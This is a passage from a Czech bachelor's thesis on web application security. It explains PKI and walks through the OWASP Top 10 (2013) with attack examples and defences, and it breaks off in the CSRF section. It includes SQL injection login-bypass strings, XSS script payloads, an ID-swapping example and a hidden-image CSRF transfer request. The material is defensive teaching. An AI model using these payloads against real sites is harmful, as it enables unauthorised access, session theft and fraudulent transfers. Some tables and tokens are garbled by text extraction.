VYSOKÁ ŠKOLA POLYTECHNICKÁ JIHLAVA Katedra elektrotechniky a informatiky Obor Počítačové systémy Elektronická bezpečnost veřejných služeb bakalářská práce Autor: Jakub Novotný Vedoucí práce: Ing. Kamil Talavašek Jihlava 2015
Abstrakt Tato práce je zaměřena na elektronickou bezpečnost veřejných služeb. V teoretické části je rozebrána bezpečnost, infrastruktura veřejných klíčů, ale také jednotlivá bezpečnostní rizika sestavená podle nadace OWASP pro rok 2013. Jsou k nim doplňeny příklady útoků a možná obrana proti nim. Praktická část je věnována penetračnímu testování webové stránky. Testování je rozděleno na dvě části. V první řadě se webová stránka testuje pomocí programu OWASP ZAP. Nalezená rizika jsou rozebrána a je k nim uvedeno doporučení na změnu. V poslední části je testování provedeno ještě z pohledu samotného uživatele webu. Klíčová slova Elektronická bezpečnost, kryptografie, OWASP, bezpečnostní rizika, obrana, penetrační testování, program ZAP Abstract This work is focused on the safety of electronic public services. In the theoretical part, there is discussed security, public key infrastructure, but also the various security risks compiled by the OWASP Foundation in 2013. There are added simple examples of attacks and possible defense against them. The practical part is devoted to penetration testing of website. Testing is divided into two parts. First of all, the website is tested using the OWASP ZAP program. Found risks are analyzed and there are presented recommendations for change. In the last part, testing is done from the user perspective of the website. Key words Electronic security, cryptography, OWASP, security risks, defense, penetration testing, ZAP program
Prohlašuji, že předložená bakalářská práce je původní a zpracoval jsem ji samostatně. Prohlašuji, že citace použitých pramenů je úplná, že jsem v práci neporušil autorská práva (ve smyslu zákona č. 121/2000 Sb., o právu autorském, o právech souvisejících s právem autorským a o změně některých zákonů, v platném znění, dále též AZ ). Souhlasím s umístěním bakalářské práce v knihovně VŠPJ a s jejím užitím k výuce nebo k vlastní vnitřní potřebě VŠPJ. Byl jsem seznámen s tím, že na mou bakalářskou práci se plně vztahuje AZ, zejména 60 (školní dílo). Beru na vědomí, že VŠPJ má právo na uzavření licenční smlouvy o užití mé bakalářské práce a prohlašuji, že s o u h l a s í m s případným užitím mé bakalářské práce (prodej, zapůjčení apod.). Jsem si vědom toho, že užít své bakalářské práce či poskytnout licenci k jejímu využití mohu jen se souhlasem VŠPJ, která má právo ode mne požadovat přiměřený příspěvek na úhradu nákladů, vynaložených vysokou školou na vytvoření díla (až do jejich skutečné výše), z výdělku dosaženého v souvislosti s užitím díla či poskytnutí licence. V Jihlavě dne 20.5.2015... Podpis
Poděkování Na tomto místě bych rád poděkoval svému vedoucímu práce Ing. Kamilu Talavaškovi za poskytnutí tématu a možnost vytvářet ho pod jeho vedením.
Obsah 1 Úvod... 9 2 Bezpečnost... 10 2.1 OWASP... 10 2.2 Rizika bezpečnostních aplikací dle OWASP Top 10 2013... 10 2.3 Infrastruktura veřejných klíčů... 10 2.3.1 Symetrická kryptografie... 11 2.3.2 Asymetrická kryptografie... 12 2.4 Elektronická kriminalita... 12 3 Bezpečnostní rizika... 13 3.1 SQL Injection... 13 3.1.1 Příklad útoku... 13 3.1.2 Obrana proti útoku... 14 3.2 Narušená autentizace a správa relace... 16 3.2.1 Příklady útoku... 16 3.2.2 Způsoby obrany... 18 3.3 Cross-site scripting (XSS)... 19 3.3.1 Typy útoku... 19 3.3.2 Obrana proti XSS... 21 3.4 Nebezpečný přímý odkaz na objekt... 22 3.4.1 Příklad útoku... 23 3.4.2 Obrana proti útoku... 23 3.5 Nebezpečná konfigurace... 24 3.5.1 Příklad zneužití... 24 3.6 Vystavení citlivých dat... 25 3.6.1 Jsem zranitelný k vystavení citlivých údajů... 25
3.6.2 Příklady útoku... 26 3.6.3 Obrana proti útoku... 26 3.7 Chyby v řízení úrovní přístupu... 27 3.7.1 Příklad útoku... 27 3.7.2 Způsob obrany... 27 3.8 Cross-site request forgery... 28 3.8.1 Příklad útoku... 28 3.8.2 Obrana proti CSRF... 29 3.9 Použití známých zranitelných komponent... 29 3.9.1 Příklad útoku... 29 3.9.2 Způsob obrany... 30 3.10 Neošetřené přesměrování a předávání... 31 3.10.1 Příklad útoku... 31 3.10.2 Obrana proti útoku... 31 4 Penetrační testování... 32 4.1 Program OWASP ZAP... 32 4.2 Nalezené zranitelnosti... 34 4.2.1 SQL Injection... 34 4.2.2 Directory browsing (procházení adresářů)... 35 4.2.3 Cookie set without HttpOnly flag... 36 4.2.4 Cross-domain Javascript source file inclusion... 37 4.2.5 Password Autocomplete in browser... 37 4.2.6 Private IP dislosure... 38 4.2.7 X-Content-Type-Options header missing... 38 4.2.8 X-Frame-Options header not set... 39 4.3 Testování z pohledu uživatele... 39 4.3.1 Zapomenuté heslo... 39
4.3.2 Odposlechnutí přihlašovacích údajů... 40 4.3.3 Slovníkový útok... 42 4.3.4 Slovníkový útok pomocí scriptu... 45 5 Závěr... 47 Seznam použité literatury... 48 Seznam obrázků... 50 Seznam tabulek... 51 Přílohy... 53 1 Obsah přiloženého CD... 53
1 Úvod World Wide Web, služba pro poskytování webových stránek (WWW), je jednou z nejvyužívanějších služeb v dnešní době na Internetu, která během posledních desítek let prodělala obrovský rozvoj. Na počátku vzniku se Internet využíval převážně pro armádní účely s cílem znemožnit protivníkovi vyřazení komunikace. Dnes je Internet využíván především jako zdroj informací, prostředí pro komunikaci nebo také jako místo pro zpřístupňování elektronických dokumentů. V současné době využívá v České republice Internet zhruba 67% obyvatelstva. Vzhledem k celosvětovému využití Internetu a jeho schopnostem vyvíjet nové aplikace je nezbytnou otázkou bezpečnost webových aplikací. Bezpečnost je relativně široký pojem, ale zároveň také důležitý. Můžeme jí rozumět jako soubor opatření, které mají za cíl znemožnit nebo maximálně znesnadnit útočníkovi získat citlivé či jiné osobní údaje a data. Bezpečnost webových aplikací by měla být vždy na prvním místě, ale ne vždy tomu tak skutečně je. Ačkoliv bezpečnostních rizik existuje prakticky celá řada, tato práce je zaměřena pouze na deset nejnebezpečnějších hrozeb na webové aplikace sestavené podle nadace OWASP pro rok 2013. V práci jsou rozebrány jednotlivé bezpečnostní hrozby, od nejzávažnějších po méně závažné, které jsou doplněny ukázkami útoků a následnou obranou proti nim. Výsledkem bakalářské práce je zdůraznit, jaké nejčastější bezpečnostní chyby se v oblasti webových aplikací provádějí a následně poskytnout dostatečné informace, jak se proti těmto hrozbám nejlépe chránit. Práce by měla sloužit jako zdroj minimálních informací pro začínající nebo i pokročilé webové vývojáře. 9
2 Bezpečnost 2.1 OWASP Také známý jako Open Web Application Security Project je organizace zabývající se problematikou bezpečnosti webových aplikací. Nadace OWASP byla založena 21. dubna 2004 ve Spojených státech amerických jako nezisková charitativní organizace, kterou nyní vede Dave Wichers. Členové projektu zahrnují celou řadu bezpečnostních expertů z celého světa, kteří se dělí o své odborné znalosti. Organizace vydává od roku 2004 vždy po třech letech seznam nejčastějších bezpečnostních rizik webových aplikací tzv. OWASP Top 10 [1]. 2.2 Rizika bezpečnostních aplikací dle OWASP Top 10 2013 SQL Injection Broken Authentication and Session Management Cross-Site Scripting (XSS) Insecure Direct Object References Security Misconfiguration Sensitive Data Exposure Missing Function Level Access Control Cross-Site Request Forgery (CSRF) Using Components with Known Vulnerabilities Unvalidated Redirects and Forwards 2.3 Infrastruktura veřejných klíčů Public Key Infrastructure (PKI) neboli infrastruktura veřejných klíčů umožňuje uživatelům v nezabezpečené veřejné síti, jako je Internet, aby mohli bezpečně vyměňovat soukromé údaje a peníze prostřednictvím využití veřejného a soukromého klíče, který je získaný a sdílený přes důvěryhodný certifikační úřad. Infrastruktura veřejného klíče poskytuje digitální certifikát, podle kterého je možné identifikovat jednotlivce nebo organizaci. PKI předpokládá použití kryptografie s veřejným klíčem, 10
což je metoda na internetu pro ověřování odesílatele zprávy nebo šifrování zprávy. Tradiční kryptografie se obvykle podílí na vytváření a sdílení tajného klíče pro šifrování a dešifrování zpráv. Tento tajný nebo soukromý klíč systému má významnou nevýhodu. V případě, kdy je klíč objeven nebo zachycen někým jiným, lze zprávy snadno dešifrovat. Z tohoto důvodu je kryptografie s veřejným klíčem a infrastruktura veřejného klíče preferovaným přístupem na Internet [2]. Infrastruktura veřejného klíče se skládá z: Certifikační autorita (CA) - ověřování digitálního certifikátu. Registrační autorita (RA) - ověřovatel pro certifikační autority Centrální adresář - pro ukládání a indexování klíčů Systém pro správu certifikátů 2.3.1 Symetrická kryptografie Obrázek 1: Symetrické šifrování Šifrovací metoda symetrické kryptografie využívá pro šifrování i dešifrování pouze jeden klíč. Zpráva je majitelem zašifrována a odeslána jinému uživateli, který pomocí stejného tajného klíče zprávu dešifruje. Výhodou této metody je malá výpočetní náročnost. Vzhledem k bezpečnosti se běžně metoda symetrické kryptografie kombinuje s asymetrickou kryptografií. Zašifrování zprávy se provede pomocí symetrické šifry a náhodně vygenerovaného klíče. Symetrický klíč je poté zašifrován 11
veřejným klíčem asymetrické šifry a tím je docíleno toho, že zpráva může být dešifrována pouze majitelem tajného klíče dané asymetrické šifry. 2.3.2 Asymetrická kryptografie Metoda asymetrické kryptografie oproti symetrické používá pro šifrování a dešifrování dva klíče, veřejný a soukromý. Veřejný klíč může majitel volně uveřejnit každému, od koho očekává, že mu bude posílat šifrované zprávy. Pomocí soukromého klíče pak zašifrované zprávy může dešifrovat. Z pravidla se soukromý klíč drží v tajnosti a neměl by se dostat volně na veřejnost. Nicméně, existují i další metody asymetrické kryptografie, ve kterých je nutné udržet i šifrovací (veřejný) klíč v tajnosti. Obrázek 2: Asymetrické šifrování 2.4 Elektronická kriminalita E-crime neboli elektronická kriminalita obecně odkazuje na trestnou činnost, kdy počítač nebo počítačová síť je zdrojem, cílem nebo místem, kde je spáchán trestný čin. Je velmi těžké elektronickou kriminalitu odhalit a potrestat kvůli její technické složitosti a zároveň také proto, poněvadž útočníci mohou poškodit uživatele ze stovek nebo dokonce tisíce kilometrů vzdálených míst. Vzhledem k povaze elektronického zločinu a jeho schopnosti vyvíjet nové technologie, kterým čelíme, bychom měli mít schopnost na ně reagovat, pokud to bude třeba [3]. 12
3 Bezpečnostní rizika 3.1 SQL Injection SQL neboli Structured Query Language je jazyk, který zajišťuje komunikaci mezi počítačem a databází. Umožňuje ukládat, měnit či mazat data uložená v databázi nebo jiných tabulkách obsahujících data. Mezi nejpoužívanější databáze patří Microsoft SQL Server, MySQL, Microsoft Access, Oracle a jiné [4]. Technika SQL Injection využívá chyb v nezabezpečené webové aplikaci, kdy útočník přes neošetřený vstup vloží vlastní SQL příkaz. Útočník tak může získat přístup k citlivým datům uložených v databázi jako jsou hesla, fotky a další. Dle OWASP se v současné době jedná o nejčastější metodu útoku na webové aplikace. 3.1.1 Příklad útoku Mnohá většina webových stránek obsahuje místa, kam se běžný návštěvník nedostane. Pro takové účely se na stránkách objevují přihlašovací formuláře skládající se z uživatelského jména a hesla. Pomocí těchto formulářů se pak vybraní uživatelé přihlašují do databází. Obrázek 3: Přihlašovací formulář Pro příklad si uvedeme jednoduchý SQL dotaz, který vypadá následovně: $sql = "SELECT * FROM users WHERE name = '".$_POST[name]."' AND password = '".$_POST[password]."'"; 13
Uživatel zadá přihlašovací údaje do formuláře. Údaje jsou následně odeslány a porovnány s databází uživatelů. Pokud se přihlašovací údaje shodují s daty uloženými v databázi, uživatel je přihlášen. Předpokládáme-li, že se v dané databázi nachází jméno Kuba a útočník vloží do pole uživatelského jména řetězec: "Kuba ' {", dojde tak ke zkrácení předchozího dotazu pouze na tvar: $sql = "SELECT * FROM users WHERE name = 'Kuba'"; Dotaz tedy vybere všechny řádky z tabulky users, které obsahují uživatelské jméno Kuba. Pomocí tohoto řetězce útočník vyřadí podmínku platného hesla. Heslo již není dále chráněno a je brána pouze jako komentář. V případě, kdy útočník nezná přihlašovací údaje a vloží do pole uživatelského jména a hesla řetězec: "a' or b='b", původní tvar dotazu se tak změní na tvar: $sql = "SELECT * FROM users WHERE name = 'a' or b='b' AND password = 'a' or b='b'"; Útočník zde využívá logického operátoru OR, u kterého nastane logická hodnota true (pravda) právě tehdy, pokud je splněna alespoň jedna ze dvou podmínek. Jelikož b = b je vždy pravda, útočník tak obchází přihlašovací jméno i heslo a je přihlášen do databáze. Ovšem je nutné brát v potaz, že pro SQL Injection se dá použít i celá řada jiných dotazů. 3.1.2 Obrana proti útoku Nejčastějším způsobem obrany proti SQL Injection je pomocí escapování nebezbečných znaků. Escapování je převod znaků majících v daném kontextu speciální význam na jiné odpovídající sekvence [5]. Většinou se jedná o znaky typu apostrof, mřížka, uvozovky a jiné. Všechny tyto znaky je však potřeba ošetřit. V PHP (Personal Home Page) existuje funkce mysql_real_escape_string, která právě zamezuje tomu, aby byly nebezpečné znaky využity k napadení nebo poškození webu. Příklad použití výše uvedené funkce může vypadat následovně: <?php 14
$name = mysql_real_escape_string($_post[name]); $password = mysql_real_escape_string($_post[password]); $sql = "SELECT * FROM users WHERE name = '".$name."' AND password = '".$ password."'";?> Existuje celá řada kontextů, kde se používají jiné escapovací funkce. Pro přehlednost je znázorněna tabulka escapovacích funkcí. Tabulka 1: Escapovací funkce Kontext Escapovací funkce Reverzní funkce HTML htmlspecialchars html_entity_decode XML Regulérní výraz PHP řetězce MySQL databáze MySQL improved SQLite databáze PostgreSQL databáze htmlspecialchars Preg_quote var_export mysql_real_escape_string mysqli_real_escape_string Sqlite_escape_string pg_escape_string PostgreSQL, typ bytea pg_escape_bytea pg_unescape_bytea JavaScript, JSON son_encode json_decode CSS addcslashes URL rawurlencode urldecode 15
3.2 Narušená autentizace a správa relace Autentizace uživatelů na webu se obvykle provádí pomocí použití uživatelského jména a hesla. Existují také silnější metody autentizace, které zahrnují software či hardware. Tyto metody jsou však velice nákladné, a proto je většina webových aplikací neobsahuje. Široká škála účtů a nedostatků správy relace pak může vést k ohrožení samotného uživatele nebo i k administraci správy účtů, což je nejčastější chybou vývojových týmů, které často podceňují složitost navrhování autentizace. Webové aplikace musí stanovit relace, jak udržet přehled o toku žádostí od každého uživatele. Bohužel, HTTP (Hypertext Transfer Protocol) tuto možnost neposkytuje, a proto si vývojáři vytváří relace sami. Vytvoření takového schématu není vůbec nic jednoduchého. Vývojáři mají často chyby v oblastech jako je odhlašování, správa hesel a jiných dalších oblastech. Odstranění těchto chyb může být někdy dosti složité, protože každá implementace je unikátní. Z tohoto důvodu většinou webové aplikace obsahují prostředí, které jim umožní právě tyto relace vytvořit. Problém tedy nastává, pokud nejsou tokeny relací dostatečně chráněny a útočník toho využije. Poté útočník může unést aktivní relace a převzít identitu uživatele. Proto je nutné dané relace chránit [6]. Možným problémem může také být problematika odposlechu přístupových údajů (Sniffing attack). V případě, kdy v návrhu není brán zřetel na bezpečnost a komunikace není šifrována pomocí kryptografických protokolů SSL/TLS (Secure Sockets Layer, Transport Layer Security), protokoly poskytujícími zabezpečení komunikace na Internetu, může dojít k odposlechu přístupových údajů. 3.2.1 Příklady útoku První příklad útoku Mějme aplikaci pro rezervaci letenek, která podporuje přepis URL (Uniform Resource Locator). Příklad uvedení ID relace do URL: http://example.com/sale/saleitemsjsessionid=2p0oc2jsndlpskhcjun2jv?dest=ha waii 16
Přihlášený uživatel webové stránky chce, aby se jeho přátelé dozvěděli o prodeji. Proto jim odešle e-mail s odkazem na danou webovou stránku. Když jeho přátelé odkaz použijí, mohou tak používat jeho relaci a případně i jeho kreditní kartu. Druhý příklad útoku Časové limity aplikace nejsou správně nastaveny. Uživatel použije veřejný počítač pro přístup na webovou stránku. Místo možnosti odhlášení však uživatel jednoduše zavře záložku prohlížeče a odejde. O hodinu pozdějí příchází útočník, který použije stejný počítač. V tomto okamžiku nastává problém. Útočník využívá platnosti prohlížeče a bez problému se dostává na stránku, na které byl předchozí uživatel přihlášen. Níže uvedený obrázek zobrazuje útok označovaný jako Session Hijacking. Jedná se obecně o útok, který slouží k získání identifikátoru (tokenu) relace útočníkem. Existuje několik možností, pomocí XSS a Javascriptu nebo odposlech nešifrované komunikace (viz. obrázek). Obrázek 4: Session Hijacking 17
3.2.2 Způsoby obrany Abychom výrazně snížili pravděpodobnost problému v této oblasti, měli bychom dodržovat jisté zásady, mezi které patří: Síla hesla - Hesla by měla obsahovat omezení, která vyžadují zadání minimální velikosti a složitosti (standartně 8 znaků). Složitost obvykle vyžaduje zadání velkých písmen, čísel a v některých případech dokonce i non-alfanumerických znaků. Uživatelé by měli dále měnit své heslo pravidelně a vyvarovat se použití předchozího hesla. Použití hesla - Uživatelé by měli mít omezený počet pokusů přihlášení za jednotku času. Opakované neúspěšné pokusy by měli být zaznamenány. V případě špatného zadání přihlašovacích údajů by systém neměl uvést, zda výše zadané uživatelské jméno či heslo odpovídá existujícím údajům. Dále by uživatelé měli být informováni o datu a času jejich posledního přihlášení. Změna hesla - Bez ohledu na situaci by změna hesla měla být použita všude tam, kde se očekává, že si uživatelé budou měnit svá hesla. Při změně hesla by systém měl vyžadovat zadání obou hesel, jak starého, tak nového. Při změně e- mailové adresy by systém měl požádat uživatele o opětovné přihlášení, jinak by se mohlo stát, že heslo bude zasláno útočníkovi, který má v daný okamžik přístup k jeho relaci. Uložení hesel - Všechna hesla by měla být uložena v tzv. hash kódu nebo jiné šifrovací podobě proto, aby se zabránilo jejich vystavení. Hesla by dále neměla být napevno zadána v žádném zdrojovém kódu. Ochrana čísla relace - Relace uživatele by měla být chráněna pomocí SSL. Pokud je chráněna, nemůže tak dojít k zachytávání čísla relace mimo danou síť. Relace by také neměly být zahrnuty do URL (Uniform Resource Locator), protože by mohly být uloženy v mezipaměti prohlížeče nebo přesměrovány. Čísla relace by měla být dlouhá a dostatečně komplikovaná tak, aby se zabránilo jejich uhodnutí. Seznamy účtů - Systém by měl uživatelům zabránit získat přístup k seznamu jmen účtů na webu. 18
Ukládání do mezipaměti prohlížeče - Autentizace a data relace by nikdy neměly být předloženy jako součást metody GET, a proto by se měla používat metoda POST. Mělo by být zabráněno, aby po použití tlačítka zpět v prohlížeči nedošlo k opětovnému přihlášení na stránku, která vyžadovala zadání ověření. 3.3 Cross-site scripting (XSS) Metoda Cross-site scripting (XSS) využívá bezpečnostních chyb ve skriptech k narušení WWW stránek. Díky chybám v zabezpečení webové aplikace pak útočník dokáže podstrčit stránce svůj vlastní JavaScriptový kód, pomocí kterého může změnit či narušit vzhled stránky, získat citlivé údaje uživatelů, znefunkčnit danou stránku nebo i dokonce obejít pomocí phishingu bezpečnostní prvky aplikace. 3.3.1 Typy útoku Metoda XSS má 3 typy útoku. Dom Based Cross-site scripting Typ označován Dom Based nebo také Local (lokální). Tento typ využívá neošetřené proměnné z URL, která je injektována do JavaScriptu. V případě statických stránek lze tuto metodu také uplatnit, ovšem stránka musí obsahovat JavaScript. Příklad Dom based útoku: <script> var pos=document.url.indexof("prezdivka=")+10; document.write("přezdívka je: " +document.url.substring(pos,document.url.length)); </script> Mějme uživatele s přezdívkou Novák33. Pomocí parametru prezdivka, který je předán prostřednictvím stránky, zde výše uvedený JavaScriptový kód vypíše: Přezdívka je: Novák33. Útočník však může daný parametr upravit a vložit do něj tak nebezpečný kód. 19
http://testovaci-stranka/stranka.html?prezdivka= <script>alert('toto je XSS útok.');</script> V tomto případě se uživateli objeví vyskakující okno s textem: Toto je XSS útok. Jedná se však o nebezpečný typ útoku, který může být využit například k provedení Session Hijacking a dalším typům útoku. Obrázek 5: Vyskakující okno (XSS) Reflected Cross-site scripting Označován Reflected nebo také jako Non-Persistent. Princip této metody spočívá v tom, že útok je odražen od webového serveru a dodán uživateli prostřednictvím jiné cesty. Může se například jednat o e-mailovou zprávu nebo URL jiné web stránky. Tato zranitelnost postihuje zejména stránky, které neukládají data, ale rovnou generují jejich obsah. Jedná se o nejběžnější typ XSS útoku. Pro příklad si uvedeme zdrojový kód v PHP: <?php echo $_GET['prezdivka'];?> Podstrčená URL pak může mít následující podobu: http://testovaci-stranka/stranka.php?prezdivka=xxxx <script> alert('toto je XSS útok.'); 20
</script> Stejně jako u typu Dom-Based se objeví vyskakující okno s textem: Toto je XSS útok. Stored Cross-site scripting Tato metoda je z výše uvedených nejnebezpečnější. Metoda využívá stránek, které generují jejich obsah z databáze. Útočník tedy nemusí podstrčit uživateli žádnou URL, jako tomu bylo u typu Reflected. Tento útok je nebezpečný tím, že nepostihne jenom jednoho uživatele, ale klidně všechny. Nebezpečný kód může být vložen například na stránky různých fór, sociálních sítí a jiných dalších stránek obsahujících větší množství uživatelů či návštěvníků [7]. JavaScriptový kód vložený na stránky fóra jako komentář: Ahoj, toto je <script>alert('toto je XSS útok.')</script> útok! Uvedený komentář se spolu s JavaScriptovým kódem uloží do databáze fóra. Poté je následně zobrazen každému uživateli, který si komentář zobrazí. 3.3.2 Obrana proti XSS V některých kontextech mají znaky speciální význam a je nutné je ošetřit. Jedná se o znaky: <, >, &, #, ", (, ), +, -, ;, ', % V PHP proto existuje funkce htmlspecialchars, která dokáže převést dané znaky na tzv. HTML entity. Tato funkce zajistí dostatečnou ochranu, ale nemusí být vždy účinná. Příklad funkce pro nahrazení znakú za HTML entity: function htmlspecialchars(text) { return text.replace(/[<>&"]/g, function (s) { switch (s) { case '<': return '<'; case '>': return '>'; 21
case '&': return '&'; case '"': return '"'; } }); } Tabulka 2: Převedení znaků na HTML entity Znak Název HTML entita dec. zápis Alternativní HTML entita < Méně než < < > Více než > > & AND & & # Mřížka # " Uvozovka " " ( Levá závorka ( ) Pravá závorka ) + Plus + - Pomlčka - ; Středník ; ' Apostrof ' % Procento % 3.4 Nebezpečný přímý odkaz na objekt Technika nebezpečného přímého odkazu na objekt představuje nedostatky v návrhu systému, kde není přístup k citlivým datům plně chráněný a datové objekty jsou vystaveny aplikaci s předpokladem, že uživatel bude vždy dodržovat pravidla aplikace. 22
Princip tohoto útoku spočívá v tom, že uživatel, který je přihlášený do systému, jednoduše změní hodnotu parametru, který odkazuje na objekt systému nebo na objekt jiného uživatele, ke kterému nemá oprávnění. 3.4.1 Příklad útoku Mějme databázi zpráv uživatelů. Registrovaný uživatel stránky použije pro zobrazení svých zpráv následující URL: http://testovaci-stranka/stranka.php?id=135 Výše uvedená stránka vyvolá v databázi dotaz, který může mít následující podobu: SELECT * FROM zpravy WHERE ID_uzivatele = "135"; Dotaz vybere všechno z tabulky zprávy, kde je ID uživatele rovno 135. Následně jsou data zobrazena danému uživateli. Útočník může zadat jiné ID uživatele, které v tomto případě obsahuje pouze tři čísla a pozměnit tak ID v URL na: http://testovaci-stranka/stranka.php?id=656 Tím dojde ke změně původního dotazu na: SELECT * FROM zpravy WHERE ID_uzivatele = "656"; Útočník tímto docílil změny ID uživatele a tím získal přístup k jeho zprávám. 3.4.2 Obrana proti útoku Aby byla ochrana proti útoku účinná, je potřeba dodržovat jisté zásady: Minimalizovat uživateli předpovídat identifikátor objektu. Uživatel by neměl mít možnost předpovídat identifikátor objektu. V našem případě byl identifikátor ID uživatele, který obsahoval tři čísla. Tím mohl útočník předpovídat, že každému uživateli je přiděleno právě ID o velikosti tří čísel. Aby se útočníkovi zabránilo uhodnout ID, měl by mít identifikátor určitou minimální délku a složitost. Nevystavovat aktuální ID objektu. Identifikátor objektu by neměl být vystaven nikde tam, kde se očekává, že systém bude chtít ověření od uživatele. 23
Ověřovat oprávnění vždy, kdy jsou přístupná citlivá data. Každé použití přímého odkazu na objekt z nedůvěryhodného zdroje musí zahrnovat kontrolu řízení přístupu k zajištění, zda má uživatel oprávnění na požadovaný objekt [8]. 3.5 Nebezpečná konfigurace Jedním z častých typů útoku je špatná konfigurace aplikačních serverů. Tento druh útoku může nastat na jakékoliv úrovni aplikačního zásobníku, webového serveru nebo i databáze. Jako nejčastější aplikační servery jsou například používány Apache od Apache Software Foundation nebo Internet Information Services (IIS) od společnosti Microsoft. Mezi databázové servery patří Microsoft SQL Server a MySQL. O konfiguraci těchto serverů se běžně starají vývojáři, kteří by zároveň měli dohlížet a udržovat, aby jejich veškerý software, včetně knihoven a kódu, byl aktuální [9]. 3.5.1 Příklad zneužití Obrázek 6: Výpis chybových oznámení 24
1. Informace o hodnotě a názvu parametru 2. Realizace zpracování parametru ID 3. Citlivé údaje 4. Číslo řádku chyby 5. Seznam metod volaných před chybou 6. Verze použité platformy Jedním takovým příkladem může být výpis chybových oznámení. Výpis chyb většinou vypíše několik různých informací, které může útočník využít ve svůj prospěch. Je však nutné tento výpis omezit, protože, čím více informací útočníkovi poskytneme, tím větší škody může napáchat. Výše uvedený obrázek ukazuje, jaké informace je možné z takového výpisu získat. 3.6 Vystavení citlivých dat Informační systémy obvykle ukládají v databázích osobní údaje uživatelů, jako jsou hesla, kreditní čísla, adresy bydlišť, telefonní čísla a další jiná čísla či informace. V případě, kdy informační systém není účinně chráněn před neoprávněným přístupem, vzniká vysoká pravděpodobnost, že útočník využije této zranitelnosti a ukradne tak citlivé údaje. Od toho pojem Sensitive Data Exposure. Z předchozích typů útoku je jasné, že zkušený útočník může zachytit data během přenosu (např. na veřejné Wi-Fi) nebo mít přístup k datům uloženým v databázi (např. využití SQL Injection). Pokud jsou ukradená data citlivá, musí být šifrována [10]. 3.6.1 Jsem zranitelný k vystavení citlivých údajů První věc, kterou byste měli udělat, je zjistit, jaká data jsou pro vás dostatečně citlivá a vyžadují tak zvýšenou ochranu. U všech těchto dat je potřeba zajistit, aby data byla: Zakódována všude tam, kde jsou dlouhodobě uložena, včetně zálohování těchto dat. Šifrována při přenosu, ideálně interně i externě. Šifrována pomocí dostatečně bezpečných šifrovacích algoritmů. Neobsahovala slabé šifrovací klíče. 25
Chráněna po odeslání do prohlížeče [11]. 3.6.2 Příklady útoku První příklad útoku Aplikace zašifruje číslo kreditní karty v databázi pomocí automatického šifrování databáze. To znamená, že při vyvolání jsou tato data automaticky dešifrovány. V takových případech je možno využít metody SQL Injection a získat tak čísla kreditních karet ve formátu prostého textu. Systém by měl mít šifrovaná čísla kreditních karet pomocí veřejného klíče a povoleno pouze je dešifrovat pomocí soukromého klíče [11]. Druhý příklad útoku Stránka webu nepoužívá SSL protokol pro všechny ověřené stránky. Útočník pouze kontroluje provoz na síti a ukradne cookie relace uživatele a tím dostane přístup k soukromým datům uživatele [11]. 3.6.3 Obrana proti útoku Pro ochranu citlivých dat by měly být splněny přinejmenším tyto kroky: Šifrovat všechny výměny, které obsahují citlivá data během přenosu. Šifrování lze provést na úrovni komunikace (SSL / TLS) nebo na úrovni zpráv (např. WS- Security šifrování pro zprávy SOAP). Vyvarovat se zbytečnému ukládání citlivých dat. Případně je co nejdříve zlikvidovat, protože data, která nemáte, nemohou být ukradena. Ujistěte se, zda jsou používány dostatečně silné algoritmy a klíče. Zvažte použití FIPS 140 (ověřené kryptografické moduly). Zajistěte, aby hesla byla uložena s algoritmem speciálně navrženým pro ochranu hesel (např. bcrypt, PBKDF2 nebo scrypt). Zakažte automatické dokončování formulářů pro sběr citlivých dat a ukládání do mezipaměti pro stránky, které obsahují citlivá data [10, 12]. 26
3.7 Chyby v řízení úrovní přístupu Jedním z klíčových problémů, kterým čelí všechny aplikace, ať už jsou na webu, nebo ne, je to, že vývojáři mají tendenci testovat pouze chyby, u kterých se očekává, že k nim může dojít. Obdobně, většina vývojářů pouze realizuje kontrolu řízení přístupu v místech, kde se očekává komunikace mezi uživatelem a aplikací. Problém kontroly přístupu se může projevit mnoha zpúsoby, AJAX (Asynchronous JavaScript and XML) a podobné metody API (Application Programming Interface) bývají častým zdrojem zranitelností. Prakticky všechny webové aplikace musí ověřit přístupová práva na úrovni dané funkce před tím, než jsou právě funkce zobrazeny v uživatelském rozhraní. Stejně tak, aplikace musí kontrolovat požadavky přístupu k serveru při každém zavolání funkce a ověřovat, zda dané požadavky patří vybranému uživateli či nikoliv. Pokud požadavky nejsou ověřeny, útočníci mohou navázat žádosti s cílem získat přístup k neoprávněné funkci [13, 14]. 3.7.1 Příklad útoku Útočník jednoduše vynutí přechod do cílové adresy URL. Následující adresy URL vyžadují ověření. Pro přístup na stránku admin getappinfo jsou vyžadována práva admin. http://example.com/app/getappinfo http://example.com/app/admin_getappinfo Pokud neověřený uživatel může přistupovat na stránku, na kterou nemá oprávnění, je to chyba. Pokud je uživatel ověřen, ale nejedná se o admina stránky, a uživatel přesto má povolen přístup na stránku admin_getappinfo, tak je to také chyba. V tomto případě to může vést k tomu, že se k útočníkovi dostane více nesprávně chráněných stránek určených výhradně adminům [15]. 3.7.2 Způsob obrany Aplikace by měla mít jednotný a snadno analyzovatelný autorizační modul, který se vyvolá při každé pracovní funkci. Často může být tato ochrana poskytována jednou nebo více komponenty, které jsou většinou mimo kód aplikace. 27
Zamyslete se nad procesem pro správu oprávnění a zajistěte snadnou aktualizaci. Vynucovací mechanismus by měl odepřít přístup ve výchozím nastavení a vyžadovat konkrétní role pro přístup ke každé funkci. Zkontrolujte, zda jsou podmínky ve správném stavu tak, aby umožňovali přístup. Uživatelské rozhraní by nemělo navigovat k neoprávněným funkcím [15]. 3.8 Cross-site request forgery CSRF (někdy také označován jako XSRF) je typ útoku, který využívá koncového uživatele k provedení nežádoucích akcí na webové aplikaci, ve které je v současné době ověřen. Pomocí podstrčeného odkazu, například v e-mailu, může útočník donutit uživatele webové aplikace, aby prováděl akce, které zvolí útočník a tím se dostat k citlivým údajům. Úspěšné využití CSFR může dokonce ohrozit celou webovou stránku, pokud je cílovým uživatelem účet správce. Tento typ útoku se také občas používá k získání přístupu do aplikace [16]. 3.8.1 Příklad útoku Aplikace umožňuje uživateli odeslat žádost, která neobsahuje nic podstatného. Žádost může například vypadat následovně: http://example.com/app/transferfunds? amount=1500&destinationaccount=1234567890 Jednoduchá žádost převede peníze na účet uživatele. Žádost lze také pozměnit na níže uvedený tvar. <img src="http://example.com/app/transferfunds? amount=1500&destinationaccount=attackersacct#" width="0" height="0" /> V případě, kdy oběť navštíví stránku, kde je výše uvedený požadavek vložený do požadavku na obrázek, dojde k tomu, že se požadavek odešle. Požadavek bude obsahovat informace o relaci oběti, pokud bude oběť zároveň přihlášena ke stránce example.com [17]. 28
